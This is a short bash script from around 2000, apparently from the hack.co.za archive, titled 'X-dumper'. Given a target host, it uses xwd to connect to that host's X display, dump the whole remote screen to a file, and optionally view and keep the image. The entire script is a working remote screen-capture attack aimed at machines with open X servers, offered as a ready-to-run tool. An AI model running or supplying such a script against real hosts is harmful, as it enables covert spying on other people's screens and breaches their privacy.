#!/bin/bash

##
## c0sa_n0stra@yahoo.com (c)
##

if [ -z $1 ]; then
   echo
   echo "Let's try: $0 <host>"
   echo
   exit 1
fi

clear

  echo
  echo "-[;;; X-dumper Facility - Will attempt to dump a screen ;;;]-"
  echo "-------------------------------------------------------------"
  echo "                - c0sa_n0stra (c) 1999/2000 -                "
  echo


XWD=/usr/X11R6/bin/xwd   #You need to have this program!
XWUD=/usr/X11R6/bin/xwud #Use some other "graphic program" if you don't have this.

if [ -x $XWUD ]; then
   echo "-[+]- Good, we got xwud..."
    else echo "You haven't got xwud, edit $0, and use e.g.. xpaint"
   exit 1
fi

if [ -x $XWD  ]; then
   echo "-[+]- Good, we got xwd..."
    else echo "You need to have xwd! Get it!"
   exit 1
fi

$XWD -root -display $1:0.0 -out picture.$$ 2>/dev/null
echo

if [ -s picture.$$ ]; then
   echo "-[!]- The screen was dumped successfully"
     echo
      else echo "-[!!]- Sorry, not able to connect"
     rm -f picture.$$
   exit 1
fi

echo -n "Do you want to take a look at the picture? (y/n): "

read ANSWER

case $ANSWER in

 y | Y | yes) $XWUD -in picture.$$ ;;
 n | N | no ) ;;
 *) echo; echo "--Too low user IQ" ;;

esac

echo
echo -n "Do you want to keep the picture? (y/n): "

read ANSWER

case $ANSWER in

 y | Y | yes) echo ; echo "--Ok, let's keep it - look in `pwd`" ;;
 n | N | no) rm -f picture.$$ ; echo ; echo "--Uhuu, it is gone..." ;;
 *) echo; echo "--Too low user IQ - picture is saved in `pwd`"

esac

echo
echo -n "Do you want to do this again? (y/n): "

read ANSWER

case $ANSWER in

 y | Y | yes) $0 $1 ;;

esac

exit 0
#                    www.hack.co.za              [2000]#